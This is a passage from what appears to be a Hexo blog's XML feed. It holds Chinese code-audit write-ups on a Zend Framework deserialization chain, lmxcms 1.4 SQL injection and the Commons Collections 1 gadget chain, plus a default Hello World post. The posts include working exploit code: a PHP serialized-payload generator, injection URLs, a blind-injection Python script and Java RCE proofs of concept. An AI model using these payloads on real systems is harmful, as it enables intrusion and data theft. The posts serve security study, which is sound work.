class="title">filter</span>(<span class="params"><span class="variable">$value</span></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="variable">$options</span> = <span class="keyword">array</span>();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="variable language_">$this</span>->_options !== <span class="literal">null</span>) {</span><br><span class="line"> <span class="keyword">if</span> (!<span class="title function_ invoke__">is_array</span>(<span class="variable">$this</span>->_options)) {</span><br><span class="line"> <span class="variable">$options</span> = <span class="keyword">array</span>(<span class="variable language_">$this</span>->_options);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="variable">$options</span> = <span class="variable language_">$this</span>->_options;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="title function_ invoke__">array_unshift</span>(<span class="variable">$options</span>, <span class="variable">$value</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="title function_ invoke__">call_user_func_array</span>(<span class="variable">$this</span>->_callback, <span class="variable">$options</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>可以实现 <code>call_user_func_array('create_function',["){}phpinfo();exit;/*",'']);</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="title function_ invoke__">call_user_func_array</span>(<span class="string">'create_function'</span>,[<span class="string">"){}phpinfo();exit;/*"</span>,<span class="string">''</span>]);</span><br></pre></td></tr></table></figure><p>实际上也就是实现了 phpinfo ()</p><p><img src="https://img-blog.csdnimg.cn/32e97c875ad24f16bf6f32f2731f9c4c.png" alt="在这里插入图片描述"></p><p>上面提到的还有一个没有利用的 filter 方法</p><p><code>Preg_Replace</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">filter</span>(<span class="params"><span class="variable">$value</span></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable language_">$this</span>->_matchPattern == <span class="literal">null</span>) {</span><br><span class="line"> <span class="keyword">require_once</span> <span class="string">'Zend/Filter/Exception.php'</span>;</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">Zend_Filter_Exception</span>(<span class="title function_ invoke__">get_class</span>(<span class="variable">$this</span>) . <span class="string">' does not have a valid MatchPattern set.'</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="title function_ invoke__">preg_replace</span>(<span class="variable">$this</span>->_matchPattern, <span class="variable">$this</span>->_replacement, <span class="variable">$value</span>);</span><br></pre></td></tr></table></figure><p>这里的前两个值是可控的,参考<a href="https://xz.aliyun.com/t/2557#toc-1">深入研究 preg_replace 与代码执行 - 先知社区 (aliyun.com)</a></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">原先的语句: <span class="title function_ invoke__">preg_replace</span>(<span class="string">'/('</span> . <span class="variable">$regex</span> . <span class="string">')/ei'</span>, <span class="string">'strtolower("\\1")'</span>, <span class="variable">$value</span>);</span><br><span class="line">变成了语句: <span class="title function_ invoke__">preg_replace</span>(<span class="string">'/(.*)/ei'</span>, <span class="string">'strtolower("\\1")'</span>, {${<span class="title function_ invoke__">phpinfo</span>()}});</span><br></pre></td></tr></table></figure><h3 id="exp"><a class="markdownIt-Anchor" href="#exp">#</a> EXP</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title class_">Zend</span>\<span class="title class_">View</span>\<span class="title class_">Renderer</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">Zend</span>\<span class="title">Config</span>\<span class="title">Config</span>;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">PhpRenderer</span></span></span><br><span class="line"><span class="class"></span>{</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="variable language_">$this</span>->__helpers = <span class="keyword">new</span> <span class="title class_">Config</span>();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"><span class="keyword">namespace</span> <span class="title class_">Zend</span>\<span class="title class_">Config</span>;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Config</span> </span>{</span><br><span class="line"> <span class="keyword">protected</span> <span class="variable">$data</span> = [];</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="variable language_">$this</span>->data = [<span class="string">'shutdown'</span>=><span class="string">"phpinfo"</span>];</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title class_">Zend</span>\<span class="title class_">Log</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">use</span> <span class="title">Zend</span>\<span class="title">View</span>\<span class="title">Renderer</span>\<span class="title">PhpRenderer</span>;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Logger</span></span></span><br><span class="line"><span class="class"></span>{</span><br><span class="line"> <span class="keyword">protected</span> <span class="variable">$writers</span>;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="variable language_">$this</span>->writers = [<span class="keyword">new</span> <span class="title class_">PhpRenderer</span>()];</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"><span class="keyword">echo</span> <span class="title function_ invoke__">base64_encode</span>(<span class="title function_ invoke__">serialize</span>(<span class="keyword">new</span> <span class="title class_">Logger</span>()));</span><br></pre></td></tr></table></figure><p>但这里在网上找到的解读文章都不是很详尽……</p><p>主要还是想学习一下 poc 的手法</p>]]></content>
<tags>
<tag> 代码审计 </tag>
</tags>
</entry>
<entry>
<title>Hello World</title>
<link href="/2022/07/17/hello-world/"/>
<url>/2022/07/17/hello-world/</url>
<content type="html"><![CDATA[<p>Welcome to <a href="https://hexo.io/">Hexo</a>! This is your very first post. Check <a href="https://hexo.io/docs/">documentation</a> for more info. If you get any problems when using Hexo, you can find the answer in <a href="https://hexo.io/docs/troubleshooting.html">troubleshooting</a> or you can ask me on <a href="https://github.com/hexojs/hexo/issues">GitHub</a>.</p><h2 id="quick-start"><a class="markdownIt-Anchor" href="#quick-start">#</a> Quick Start</h2><h3 id="create-a-new-post"><a class="markdownIt-Anchor" href="#create-a-new-post">#</a> Create a new post</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo new <span class="string">"My New Post"</span></span><br></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/writing.html">Writing</a></p><h3 id="run-server"><a class="markdownIt-Anchor" href="#run-server">#</a> Run server</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo server</span><br></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/server.html">Server</a></p><h3 id="generate-static-files"><a class="markdownIt-Anchor" href="#generate-static-files">#</a> Generate static files</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo generate</span><br></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/generating.html">Generating</a></p><h3 id="deploy-to-remote-sites"><a class="markdownIt-Anchor" href="#deploy-to-remote-sites">#</a> Deploy to remote sites</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo deploy</span><br></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/one-command-deployment.html">Deployment</a></p>]]></content>
</entry>
<entry>
<title>lmxcms1.4</title>
<link href="/2022/04/17/lmxcms1.4/"/>
<url>/2022/04/17/lmxcms1.4/</url>
<content type="html"><![CDATA[<h3 id="环境准备"><a class="markdownIt-Anchor" href="#环境准备">#</a> 环境准备</h3><p><code>PHP5.4.45</code></p><p><a href="http://www.lmxcms.com/down/xitong/">lmxcms 下载_梦想 cms(lmxcms)</a></p><p>进来后先安装</p><p>该框架漏洞在 <code>cnvd</code> 可以找到很多</p><h3 id="代码审计"><a class="markdownIt-Anchor" href="#代码审计">#</a> 代码审计</h3><h3 id="sql注入"><a class="markdownIt-Anchor" href="#sql注入">#</a> sql 注入</h3><h4 id="后台"><a class="markdownIt-Anchor" href="#后台">#</a> 后台</h4><p>基本流程:getReply->parent::selectModel->parent::selectDB->sql</p><p>c/admin/BookAction.class.php 下存在一处 sql 查询</p><p><img src="https://img-blog.csdnimg.cn/7fada48ed14f4a2b872a9770c27bfc48.png" alt="在这里插入图片描述"></p><p>这里跟进查询</p><p>到 db.class.php</p><p><img src="https://img-blog.csdnimg.cn/373efc5b3f3c45cb98b61d7be6a56f2f.png" alt="在这里插入图片描述"></p><p>在封装的 <code>selectDB</code> 方法下</p><p>在这里添加一句 <code>echo $sql;</code></p><p><img src="https://img-blog.csdnimg.cn/9df117243c9847d4885c19b9f7b64869.png" alt="在这里插入图片描述"></p><p>注意闭合符号</p><p><img src="https://img-blog.csdnimg.cn/891de155c9c74452918175208a8418b5.png" alt="在这里插入图片描述"></p><p><code>url/admin.php?m=book&a=reply&id=1) or updatexml(1,concat(0x7e,version()),1)%23</code></p><p><img src="https://img-blog.csdnimg.cn/0c02e2f4f7b54bf6bca12608abb3b9c5.png" alt="在这里插入图片描述"></p><h4 id="前台"><a class="markdownIt-Anchor" href="#前台">#</a> 前台</h4><h4 id="tagsactionclassphp"><a class="markdownIt-Anchor" href="#tagsactionclassphp">#</a> TagsAction.class.php</h4><p>基本流程:getNameData->parent::oneModel->parent::oneDB->sql</p><p>接着是</p><p><img src="https://img-blog.csdnimg.cn/a44020ea3cfa46f997f8325aed16c524.png" alt="在这里插入图片描述"></p><p>这里封装的 p 函数</p><p>可以看到之类有 sql 的过滤</p><p><img src="https://img-blog.csdnimg.cn/7aa4ed9501314ff7bbfa912c2e778fd4.png" alt="在这里插入图片描述"></p><p>同理,在 oneDB 下加上 <code>echo $sql;</code></p><p><img src="https://img-blog.csdnimg.cn/0695146c01184051bf18077a83771a79.png" alt="在这里插入图片描述"></p><p>这里可以用单引号来闭合,但是会转义</p><p>注意到源码</p><p><img src="https://img-blog.csdnimg.cn/ba1281da8bf845a2ab8aeddc54be4188.png" alt="在这里插入图片描述"></p><p>那就来二次编码</p><p><img src="https://img-blog.csdnimg.cn/eb02bda291154029a66563a9c6b3da1b.png" alt="在这里插入图片描述"></p><p>可以看到执行成功</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT * FROM lmx_tags WHERE name = <span class="string">'a'</span> <span class="keyword">or</span> <span class="title function_ invoke__">updatexml</span>(<span class="number">0</span>,<span class="title function_ invoke__">concat</span>(<span class="number">0x7e</span>,<span class="title function_ invoke__">version</span>()),<span class="number">1</span>)<span class="comment">#' limit 1sql语句有误XPATH syntax error: '~5.7.26'</span></span><br></pre></td></tr></table></figure><h4 id="bookactionclassphp"><a class="markdownIt-Anchor" href="#bookactionclassphp">#</a> BookAction.class.php</h4><p>checkData 函数</p><p><img src="https://img-blog.csdnimg.cn/ccb14fd182d24e3c92b34539bc71b616.png" alt="在这里插入图片描述"></p><p>基本流程:checkData->index::add->parent::addModel->parent::adddDB</p><p>老样子,打上输出语句</p><p>将需要的参数都添加上</p><p><img src="https://img-blog.csdnimg.cn/c64c62d3ae00478b8e4d56eb292af19f.png" alt="在这里插入图片描述"></p><p>这里是个 insert 语句</p><p><img src="https://img-blog.csdnimg.cn/be942f92ff7342129caeb1efae6d5602.png" alt="在这里插入图片描述"></p><p><img src="https://img-blog.csdnimg.cn/8d5f248b5df64a5bbd5497bf9ec64f4b.png" alt="在这里插入图片描述"></p><p><img src="https://img-blog.csdnimg.cn/ef148fe3a5354d98bb01c8f93d07dc19.png" alt="在这里插入图片描述"></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">setbook=a&name=a&content=b&mail=c&tel=d&time,ischeck)<span class="title function_ invoke__">VALUES</span>(<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">6</span>,<span class="number">1</span>);<span class="comment">#=1</span></span><br></pre></td></tr></table></figure><p>这里看下数据库</p><p><img src="https://img-blog.csdnimg.cn/6700ed66bcf9440e83b69e55cf3e4c0f.png" alt="在这里插入图片描述"></p><p>我们的数据已经插入</p><p>还应该注意一个参数</p><p>ischeck=1,可回显,也就是可见</p><p>ischeck=0,就是不可见</p><h3 id="serchactionclassphp"><a class="markdownIt-Anchor" href="#serchactionclassphp">#</a> SerchAction.class.php</h3><p>基本流程:searchModel->searchCoutn::parent::countModel::parent::countDB->sql</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?m=search&keywords=a&mid=<span class="number">1</span>&tuijian=id%<span class="number">20</span><span class="keyword">or</span>%<span class="number">20</span>(<span class="keyword">if</span>(<span class="title function_ invoke__">ascii</span>(<span class="title function_ invoke__">substr</span>(<span class="title function_ invoke__">database</span>(),<span class="number">1</span>,<span class="number">1</span>))=<span class="number">0x6c</span>,<span class="number">1</span>,<span class="number">0</span>));%<span class="number">23</span></span><br></pre></td></tr></table></figure><p><img src="https://img-blog.csdnimg.cn/77e16b5025bf443fbfdf5fbd7beeb65f.png" alt="在这里插入图片描述"></p><p>说明第一个字母是 l</p><p>可以修改下源码的编码方式继续注入</p><p>也可以通过 Lxxx 师傅的脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">url = <span class="string">"http://localhost?m=search&keywords=b&mid=1&tuijian=id or (if(ascii(substr(database(),{},1))={},1,0)); %23"</span></span><br><span class="line">ans = <span class="string">""</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">7</span>):</span><br><span class="line"> <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">97</span>, <span class="number">97</span>+<span class="number">26</span>):</span><br><span class="line"> surl = url.<span class="built_in">format</span>(i, <span class="built_in">hex</span>(j))</span><br><span class="line"> res = requests.get(surl)</span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">len</span>(res.text) > <span class="number">6000</span>:</span><br><span class="line"> ans += <span class="built_in">chr</span>(j)</span><br><span class="line"> <span class="built_in">print</span>(ans)</span><br></pre></td></tr></table></figure><p><img src="https://img-blog.csdnimg.cn/e2671f1f19564f7485175daa8388b1ed.png" alt="在这里插入图片描述"></p><p>一篇很久之前的文章,如有错误欢迎指出</p>]]></content>
<tags>
<tag> 代码审计 </tag>
<tag> CMS </tag>
</tags>
</entry>
<entry>
<title>Commons Collections1</title>
<link href="/2022/02/17/Commons%20Collections1/"/>
<url>/2022/02/17/Commons%20Collections1/</url>
<content type="html"><![CDATA[<h3 id="环境搭建"><a class="markdownIt-Anchor" href="#环境搭建">#</a> 环境搭建</h3><p>JDK:<8u71</p><p>本白用的是 8u65</p><p><img src="https://img-blog.csdnimg.cn/b705b653db394f1888f4e386dfb0788d.png" alt="img"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><dependencies></span><br><span class="line"></span><br><span class="line"><dependency></span><br><span class="line"> <groupId>commons-collections</groupId></span><br><span class="line"> <artifactId>commons-collections</artifactId></span><br><span class="line"> <version><span class="number">3.2</span><span class="number">.1</span></version></span><br><span class="line"></dependency></span><br><span class="line"></span><br><span class="line"></dependencies></span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="代码审计"><a class="markdownIt-Anchor" href="#代码审计">#</a> 代码审计</h3><p>入口点是一个 Transformer 接口,里面只有一个 transform 的对象</p><p><img src="https://img-blog.csdnimg.cn/59335fe912e14550bd9d9764044ffd4b.png" alt="img"></p><p>该接口的实现类</p><p><img src="https://img-blog.csdnimg.cn/15d5ee7bc7b34370a567e10a5286ae11.png" alt="img"></p><p>该接口的重要实现类有: <code>ConstantTransformer</code> 、 <code>invokerTransformer</code> 、 <code>ChainedTransformer,TransformedMap</code></p><h3 id="constanttransformer"><a class="markdownIt-Anchor" href="#constanttransformer">#</a> ConstantTransformer</h3><p>其中我们来看一下 <code>ConstantTransformer</code> 类</p><p><img src="https://img-blog.csdnimg.cn/cb480e35a29946c5b627ad698f1dda3a.png" alt="img"></p><p>常量转换,转换的逻辑也非常的简单:传入对象不会经过任何改变直接返回。例如传入 <code>Runtime.class</code> ,进行转换返回的依旧是 <code>Runtime.class</code></p><p>这里的 iConstant 是在构造函数时传入的一个对象</p><p>但是无论是调用 transform 方法还是 getConstant 方法,他们的返回值都是 iConstant</p><p>所以该类的作用就是包装任意一个对象,在执行回调时返回该对象</p><h3 id="invokertransformer"><a class="markdownIt-Anchor" href="#invokertransformer">#</a> InvokerTransformer</h3><p>再来看下 <code>InvokerTransformer</code> 的源码,这也是该漏洞的关键类</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Constructor for no arg instance.</span></span><br><span class="line"><span class="comment"> * </span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> methodName the method to call</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">private</span> <span class="title function_">InvokerTransformer</span><span class="params">(String methodName)</span> {</span><br><span class="line"> <span class="built_in">super</span>();</span><br><span class="line"> iMethodName = methodName;</span><br><span class="line"> iParamTypes = <span class="literal">null</span>;</span><br><span class="line"> iArgs = <span class="literal">null</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Constructor that performs no validation.</span></span><br><span class="line"><span class="comment"> * Use <code>getInstance</code> if you want that.</span></span><br><span class="line"><span class="comment"> * </span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> methodName the method to call</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> paramTypes the constructor parameter types, not cloned</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> args the constructor arguments, not cloned</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">public</span> <span class="title function_">InvokerTransformer</span><span class="params">(String methodName, Class[] paramTypes, Object[] args)</span> {</span><br><span class="line"> <span class="built_in">super</span>();</span><br><span class="line"> iMethodName = methodName;</span><br><span class="line"> iParamTypes = paramTypes;</span><br><span class="line"> iArgs = args;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Transforms the input to result by invoking a method on the input.</span></span><br><span class="line"><span class="comment"> * </span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> input the input object to transform</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span> the transformed result, null if null input</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">public</span> Object <span class="title function_">transform</span><span class="params">(Object input)</span> {</span><br><span class="line"> <span class="keyword">if</span> (input == <span class="literal">null</span>) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="type">Class</span> <span class="variable">cls</span> <span class="operator">=</span> input.getClass();</span><br><span class="line"> <span class="type">Method</span> <span class="variable">method</span> <span class="operator">=</span> cls.getMethod(iMethodName, iParamTypes);</span><br><span class="line"> <span class="keyword">return</span> method.invoke(input, iArgs);</span><br><span class="line"> </span><br><span class="line"> } <span class="keyword">catch</span> (NoSuchMethodException ex) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">FunctorException</span>(<span class="string">"InvokerTransformer: The method '"</span> + iMethodName + <span class="string">"' on '"</span> + input.getClass() + <span class="string">"' does not exist"</span>);</span><br><span class="line"> } <span class="keyword">catch</span> (IllegalAccessException ex) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">FunctorException</span>(<span class="string">"InvokerTransformer: The method '"</span> + iMethodName + <span class="string">"' on '"</span> + input.getClass() + <span class="string">"' cannot be accessed"</span>);</span><br><span class="line"> } <span class="keyword">catch</span> (InvocationTargetException ex) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">FunctorException</span>(<span class="string">"InvokerTransformer: The method '"</span> + iMethodName + <span class="string">"' on '"</span> + input.getClass() + <span class="string">"' threw an exception"</span>, ex);</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>其中在实例化 InvokerTransformer 时,有三个参数</p><p>1、需要执行的方法名</p><p>2、该函数的参数列表参数类型</p><p>3、该函数的参数列表</p><p><img src="https://img-blog.csdnimg.cn/41ff8433e2d748f2bb1a48c705ac41e1.png" alt="img"></p><p>实例化后,紧借着调用了 transform 方法,也就是执行了 input 对象的 iMethodName 方法</p><p><img src="https://img-blog.csdnimg.cn/026878d19b79411ea5ca88dfd4c704be.png" alt="img"></p><p>到这里我们可以根据 <code>InvokerTransformer</code> 的参数来写一个本地 rce</p><p><img src="https://img-blog.csdnimg.cn/5586521ae669421da3da8f3413138b52.png" alt="img"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> {</span><br><span class="line"> <span class="type">Runtime</span> <span class="variable">r</span> <span class="operator">=</span> Runtime.getRuntime();</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"exec"</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]{String.class},<span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="string">"calc"</span>}).transform(r);</span><br></pre></td></tr></table></figure><p><img src="https://img-blog.csdnimg.cn/b970dec0008f44adbc4204be5febc134.png" alt="img"></p><p>到这里,我们先整理一下思路,看我们下一步需要找什么</p><p><img src="https://img-blog.csdnimg.cn/1ac023a06f984b0d991265c16390cfbf.png" alt="img"></p><p>对于反序列化,我们肯定要找到一个 readObject 来读取 InputStream 流的对象,而最后的恶意代码执行也有了上面的 <code>InvokerTransformer</code> 类可以实现,所以下一步我们就需要找到一个调用 transform 方法的类</p><p>跟进我们写的本地执行中 transform 方法,并查询调用该方法的所有类</p><h3 id="transfomedmap"><a class="markdownIt-Anchor" href="#transfomedmap">#</a> TransfomedMap</h3><p>其中在 <code>TransformedMap</code> 类中有 3 处调用</p><p><img src="https://img-blog.csdnimg.cn/ed31fa7a317a46488622a7c265cd5eb8.png" alt="img"></p><p><img src="https://img-blog.csdnimg.cn/155eb5aaa25f49998bf75a4638ef2e39.png" alt="img"></p><p>接受的对象时 map,但是传出的键名和键值,也就是 key 和 value 是经过修饰的</p><p>其中这里的静态方法会返回经过 TransformedMap 方法处理的对象,键名和键值</p><p><img src="https://img-blog.csdnimg.cn/e28e1b228bb54e598baf805b3a825a61.png" alt="img"></p><p>而其中关于键值 value 的 transform</p><p><img src="https://img-blog.csdnimg.cn/5fe7007bff8544bcaa0ac52595b5e608.png" alt="img"></p><p>我们跟进会发现到了 TransformedMap 的父类,也就是 AbstractInputCheckedMapDecorator</p><p><img src="https://img-blog.csdnimg.cn/13c8a8d998a74f50887c73514ae68df6.png" alt="img"></p><p>这里的 setValue 是对 MapEntry 的方法重写,其中会调用 checkSetValue,从而触发 <code>valueTransformer.transform</code></p><p>poc:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> {</span><br><span class="line"> <span class="type">Runtime</span> <span class="variable">r</span> <span class="operator">=</span> Runtime.getRuntime();</span><br><span class="line"> <span class="type">InvokerTransformer</span> <span class="variable">invokerTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"exec"</span>, </span><br><span class="line"><span class="keyword">new</span> <span class="title class_">Class</span>[]{String.class}, <span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="string">"calc"</span>});</span><br><span class="line"></span><br><span class="line"> HashMap<Object, Object> map = <span class="keyword">new</span> <span class="title class_">HashMap</span><>();</span><br><span class="line"> map.put(<span class="string">"key"</span>,<span class="string">"value"</span>);</span><br><span class="line"> Map<Object,Object> transformedMap = TransformedMap.decorate(map, <span class="literal">null</span>, invokerTransformer);</span><br><span class="line"> <span class="keyword">for</span> (Map.Entry entry:transformedMap.entrySet()){</span><br><span class="line"> entry.setValue(r);</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>所以我们可以 for 循环 MapEntry 中 map 对象,再去调用 value 的 transform 方法</p><p><img src="https://img-blog.csdnimg.cn/be208ac165744bdb92c497e578a17abd.png" alt="img"></p><p>从我们写的 poc 来看</p><p>setValue 方法会调用到 TransformedMap 的父类中的 setValue</p><p>进而调用 checkSetValue 从而触发 valueTransformer.transform (value)</p><p>而这里的操作相当于</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">Runtime</span> <span class="variable">r</span> <span class="operator">=</span> Runtime.getRuntime();</span><br><span class="line">invokerTransformer.transform(r)</span><br></pre></td></tr></table></figure><p>也就达到了命令执行的目的</p><p>当然我们也可以通过另一个实现类完成命令执行的操作</p><h3 id="chainedtransformer"><a class="markdownIt-Anchor" href="#chainedtransformer">#</a> ChainedTransformer</h3><p>**** <code>ChainedTransformer</code> **** 类封装了 <code>Transformer</code> 的链式调用,我们只需要传入一个 <code>Transformer</code> 数组, <code>ChainedTransformer</code> 就会依次调用每一个 <code>Transformer</code> 的 <code>transform</code> 方法。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span 